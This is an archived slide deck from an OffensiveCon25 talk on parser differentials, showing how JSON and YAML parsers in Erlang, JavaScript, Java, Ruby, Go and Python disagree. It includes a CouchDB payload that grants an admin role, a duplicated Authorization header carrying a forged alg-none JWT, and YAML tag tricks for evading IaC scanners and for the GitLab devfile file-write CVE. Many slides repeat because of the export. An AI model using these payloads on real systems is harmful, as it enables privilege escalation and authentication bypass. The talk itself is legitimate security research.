

reveal.js

reveal.js - Author not stated, 0day.click.

- Published: date not stated
- Original: <<https://0day.click/parser-diff-talk-oc25/>>
- Preserved from: <https://0day.click/parser-diff-talk-oc25/> (live) on 2026-08-07
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

reveal.js

Parser Differentials

OffensiveCon25

Joern Schneeweisz

joernchen@phenoelit.de

Inside of you are two wolves JSON parsers

```
{
  "admin":true,
  "admin":null
}
```

One says you're admin, the other one not

Disclaimer ;) | Things this talk will lack | Things this talk will have | |---|---| | Academic background | A very personal insight | | Completeness | Practical examples | | Fuzzing | Showcasing easily exploitable vulnerabilities | --- ### Definition > Parser differentials emerge when two (or more) parsers interpret the same input in different ways. Source: [A Survey of Parser Differential Anti-Patterns](#) --- ### What is it good for? * Unlike many other bug classes the impact of Parser Differentials is very much context dependent. * We can find Parser Differentials without further context and stockpile them for later use. --- ### Couch DB RCE * [Awesome Bug by Max Jus](#)

ticz > CouchDB is written in Erlang, but allows users to specify document validation scripts in Javascript. These scripts are automatically evaluated when a document is created or updated. They start in a new process, and are passed JSON-serialized documents from the Erlang side. --- Erlang: ``erlang jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}) [{<<\"foo\">>, <<\"bar\">>}, {<<\"foo\">>, <<\"baz\">>}]}`` Javascript: ``Javascript JSON.parse("{\"foo\":\"bar\", \"foo\":\"baz\"}) {foo: \"baz\"}`` --- * While the Erlang code yields both key value pairs in an array Javascript only takes the last one. * Fetching the value in Erlang: ``erlang % Within couch_util:get_value lists:keysearch(Key, 1, List).`` --- ### Payload for creating a user ``json { \"type\": \"user\", \"name\": \"oops\", \"roles\": [\"_admin\"], \"roles\": [], \"password\": \"password\"}`` Erlang sees `[<<\"_admin\">>]` when pulling the roles` value, Javascript sees an empty array. --- > Fortunately for the attacker, almost all of the important logic concerning authentication and authorization, aside from the input validation script, occurs in the Erlang part of CouchDB. --- ### Next Example Some K8S, Java and JWT

Ingress

```
public String extractAuthorizationHeaderToken(HttpHeaders headers) {
    String tokenString = null;
    String authHeader = headers.getRequestHeaders().getFirst(HttpHeaders.AUTHORIZATION);
    if (authHeader != null) {
        String[] split = authHeader.trim().split("\\s+");
        if (split == null || split.length != 2) throw new UnauthorizedException("Bearer");
        if (!split[0].equalsIgnoreCase("Bearer")) throw new UnauthorizedException("Bearer");
        tokenString = split[1];
    }
    return tokenString;
}
```

Backend

```
protected Object getPreAuthenticatedPrincipal(HttpServletRequest request) {
    Enumeration<String> authHeaders = request.getHeaders(AUTHORIZATION);
    while (authHeaders.hasMoreElements()) {
        String[] split = authHeaders.nextElement().split("\\s+");
        if (split.length != 2) continue;
        if (!split[0].equalsIgnoreCase("Bearer")) continue;
        String tokenString = split[1];
        try {
            Jwt jwt = JwtHelper.decode(tokenString);
        }
    }
}
```

Exploit: ``GET /api/resource HTTP/1.1 Host: api.example.com Authorization: Bearer $alg_none_fake_admin_JWT
Authorization: Bearer $legit_JWT Content-Type: application/json Accept: application/json``

Stockpiling Diffs

I had no idea



| [image: image] | |

I had an idea



joernchen
@joernchen

...

I created a YAML monster!

```
joern@hostname ~/c/yaml cat go.go
package main

import (
    "fmt"
    "log"
    "os"
    "gopkg.in/yaml.v3"
)

func main() {
    b := make(map[interface{}]interface{})

    data, err := os.ReadFile(os.Args[1])
    err = yaml.Unmarshal(data, &b)
    if err != nil {
        log.Fatalf("error: %v", err)
    }
    fmt.Printf("%v\n", b["lang"])
}
joern@hostname ~/c/yaml cat python.py
import yaml
import sys
f = open(sys.argv[1])
doc = yaml.load(f, yaml.BaseLoader)
print(doc["lang"])
joern@hostname ~/c/yaml cat ruby.rb
require 'yaml'

data = YAML.load(File.read(ARGV[0]))
puts data["lang"]
joern@hostname ~/c/yaml ruby ruby.rb magic.yaml
Ruby
joern@hostname ~/c/yaml python python.py magic.yaml
Python
joern@hostname ~/c/yaml go run go.go magic.yaml
Go
joern@hostname ~/c/yaml
```

8:26 PM · Feb 10, 2024 · 32.6K Views

Revealing magic.yaml ``yaml lang: Python !!binary bGFuZw==: Go !binary bGFuZw: Ruby ``

Revealing magic.yaml ``yaml lang: Python !!binary bGFuZw==: Go !binary bGFuZw: Ruby ``

Dissecting magic.yaml

```
cat one.yaml
lang: first
lang: second
./ruby.rb one.yaml
{"lang":"second"}
./go one.yaml
2025/05/07 14:59:34 error: yaml: unmarshal errors:
  line 2: mapping key "lang" already defined at line 1
./python.py one.yaml
{'lang': 'second'}
```

Dissecting magic.yaml

```
cat one.yaml
lang: first
lang: second
./ruby.rb one.yaml
{"lang":"second"}
./go one.yaml
2025/05/07 14:59:34 error: yaml: unmarshal errors:
  line 2: mapping key "lang" already defined at line 1
./python.py one.yaml
{'lang': 'second'}
```

Dissecting magic.yaml

```
cat one.yaml
lang: first
lang: second
./ruby.rb one.yaml
{"lang":"second"}
./go one.yaml
2025/05/07 14:59:34 error: yaml: unmarshal errors:
  line 2: mapping key "lang" already defined at line 1
./python.py one.yaml
{'lang': 'second'}
```

Dissecting magic.yaml

```
cat one.yaml
lang: first
lang: second
./ruby.rb one.yaml
{"lang":"second"}
./go one.yaml
2025/05/07 14:59:34 error: yaml: unmarshal errors:
line 2: mapping key "lang" already defined at line 1
./python.py one.yaml
{'lang': 'second'}
```

!!binary

The !!binary tag can be used to base64 encode arbitrary binary data inside YAML.

!!binary

```
cat two.yaml
lang: first
!!binary bGFuZw==: second
./ruby.rb two.yaml
{"lang":"second"}
./go two.yaml
map[lang:second]
./python.py two.yaml
{'lang': 'first', 'bGFuZw==': 'second'}
```

!!binary

```
cat two.yaml
lang: first
!!binary bGFuZw==: second
  ./ruby.rb two.yaml
  {"lang": "second"}
  ./go two.yaml
  map[lang:second]
  ./python.py two.yaml
  {'lang': 'first', 'bGFuZw==': 'second'}
```

!!binary

```
cat two.yaml
lang: first
!!binary bGFuZw==: second
  ./ruby.rb two.yaml
  {"lang": "second"}
  ./go two.yaml
  map[lang:second]
  ./python.py two.yaml
  {'lang': 'first', 'bGFuZw==': 'second'}
```

!!binary

```
cat two.yaml
lang: first
!!binary bGFuZw==: second
  ./ruby.rb two.yaml
  {"lang": "second"}
  ./go two.yaml
  map[lang:second]
  ./python.py two.yaml
  {'lang': 'first', 'bGFuZw==': 'second'}
```

!binary

!!binary is a global tag defined in the YAML spec, tags with a single ! are local, per document defined

!binary

```
cat three.yaml
lang: one
!binary bGFuZw==: two
  ./ruby.rb three.yaml
  {"lang":"two"}
  ./go three.yaml
map[bGFuZw==:two lang:one]
  ./python.py three.yaml
  {'lang': 'one', 'bGFuZw==': 'two'}
```

!binary

```
cat three.yaml
lang: one
!binary bGFuZw==: two
  ./ruby.rb three.yaml
  {"lang":"two"}
  ./go three.yaml
map[bGFuZw==:two lang:one]
  ./python.py three.yaml
  {'lang': 'one', 'bGFuZw==': 'two'}
```

!binary

```
cat three.yaml
lang: one
!binary bGFuZw==: two
  ./ruby.rb three.yaml
  {"lang":"two"}
  ./go three.yaml
map[bGFuZw==:two lang:one]
  ./python.py three.yaml
  {'lang': 'one', 'bGFuZw==': 'two'}
```

!binary


```
cat three.yaml
lang: one
!binary bGFuZw==: two
  ./ruby.rb three.yaml
{"lang":"two"}
  ./go three.yaml
map[bGFuZw==:two lang:one]
  ./python.py three.yaml
{'lang': 'one', 'bGFuZw==': 'two'}
```

!binary

```
cat four.yaml
lang: Python
!!binary bGFuZw==: Go
!binary bGFuZw==: Ruby
  ./ruby.rb four.yaml
{"lang":"Ruby"}
  ./go four.yaml
2025/05/08 16:02:35 error: yaml: unmarshal errors:
  line 3: mapping key "bGFuZw==" already defined at line 2
  ./python.py four.yaml
{'lang': 'Python', 'bGFuZw==': 'Ruby'}
```

!binary

```
cat four.yaml
lang: Python
!!binary bGFuZw==: Go
!binary bGFuZw==: Ruby
  ./ruby.rb four.yaml
{"lang":"Ruby"}
  ./go four.yaml
2025/05/08 16:02:35 error: yaml: unmarshal errors:
  line 3: mapping key "bGFuZw==" already defined at line 2
  ./python.py four.yaml
{'lang': 'Python', 'bGFuZw==': 'Ruby'}
```

!binary

```
cat five.yaml
!!binary bGFuZw: grg
./ruby.rb five.yaml
{"lang": "grg"}
./go five.yaml
2025/05/08 16:07:18 error: yaml: !!binary value contains
invalid base64 data
./python.py five.yaml
{'bGFuZw': 'grg'}
```

!binary

```
cat five.yaml
!!binary bGFuZw: grg
./ruby.rb five.yaml
{"lang": "grg"}
./go five.yaml
2025/05/08 16:07:18 error: yaml: !!binary value contains
invalid base64 data
./python.py five.yaml
{'bGFuZw': 'grg'}
```

!binary

```
cat five.yaml
!!binary bGFuZw: grg
./ruby.rb five.yaml
{"lang": "grg"}
./go five.yaml
2025/05/08 16:07:18 error: yaml: !!binary value contains
invalid base64 data
./python.py five.yaml
{'bGFuZw': 'grg'}
```

Recap on magic.yaml ``yaml lang: Python !!binary bGFuZw==: Go !binary bGFuZw: Ruby ` \* Python with the BaseLoader picks the lang key the two binary variants are taken literally \* The !!binary key overwrites lang in Go, !binary will be taken literally \* In Ruby lang is overwritten first by !!binary then by !binary` --- ### How is this useful? * Think IAC Security scanning * K8S is configured via YAML documents. * IAC scanners might be confused about which parts of a YAML document are

relevant, so scanners might be evaded. * Tried with three different IAC scanners all of which were vulnerable * Contacted all three vendors "Do you consider such a bypass as a vuln?" --- ### How is this useful? * Vendor 1 * Head of Security replied themselves "Thanks, that's indeed on the fence, will ask the team.". * Came back with "We don't do anti-obfuscation." * Vendor 2 * PSIRT replied, "We'll pass this on." * Never came back. * Vendor 3 * No response at all --- ### How is this **really** useful? An IAC scanner bypass might be nice, but there's [more exciting stuff](#). [image: image]

Amazing Parser Differentials and where to find them:

===[The Winner:

<https://gitlab.com/gitlab-org/gitlab/-/issues/437819>,

"Subsequently the verified devfile YAML is passed on to some [Go](#) binary in the devfile-gem. Due to YAML being a complex format the Ruby and the [Go](#) parser differ a bit and we can construct a YAML file which doesn't seem to have a parent key in Ruby but has one in [Go](#)."

Two memory safe languages, both alike in dignity, are disagreeing here. It is a thing of beauty. It also drives home the point that no data format is so simple as to not need a mechanized definition, and formats considered to be "[infrastructure as code](#)" definitely should have one!

[CVE-2024-0402](#) > An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 which allows an authenticated user to write files to arbitrary locations on the GitLab server while creating a workspace. --- ### [Workspaces](#) > A workspace is a virtual sandbox environment for your code in GitLab. You can use workspaces to create and manage isolated development environments for your GitLab projects. These environments ensure that different projects don't interfere with each other --- ### [Devfiles](#) > An open standard defining containerized development environments. ``yaml schemaVersion: 2.2.0 metadata: name: go language: go components: - container: endpoints: - name: http targetPort: 8080 image: quay.io/devfile/golang:latest memoryLimit: 1024Mi mountSources: true name: runtime ``

```

def flatten(devfile)
  call('flatten', devfile)
end

private

def call(*cmd)
  raise_if_unsupported_system_platform! if ruby_platform?

  stdout, stderr, status = Open3.capture3({}, FILE_PATH, *cmd.map(&:to_s))
  raise(CliError, stderr) unless status.success?

  stdout
end

```

```

# @param [Hash] value
# @return [Result]
def self.validate_parent(value)
  value => { devfile: Hash => devfile }

  return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']

  Result.ok(value)
end

```

Some final thoughts and pointers --- ### Time for .yaml All credits to [Taram Pam](#) ``yaml !!binary bGFuZx==: ruby !!binary lang: rust !!binary bGFuZy==: node alias-lang: &lang !!binary bGFuZz== ? *lang : go alias-lang2: !!str &lang2 lang <<: [{ ? *lang2 : java, },] !!merge qwerty: {lang: "python"} ` --- ### Assorted Vulns * Web / HTTP stuff * Just too many to list here. * [Android Masterkey](https://nvd.nist.gov/vuln/detail/CVE-2013-4787) * APK Signature bypass due to ZIP handling in C vs. Java * [Psychic Paper] (http://blog.siguza.net/psychicpaper/psychic) * XML comments were parsed differently within iOS leading to a sandbox escape * [ruby-saml](https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/) * Two XML parsers in the library allowed for authentication bypass --- ### Finishing up * The more complex a data format gets the more room for parser differentials opens up * There's usually lot of manual work and context involved to really capitalize on a given diff * We don't have an easy solution, this type of vulnerabilities will keep on giving --- ### Thanks, Greetz and <3 * You all for listening to me * Taram Pam * Sergey Bratus * My former team at Recurity * My team at GitLab * komplizia * [redacted] * The OffensiveCon Crew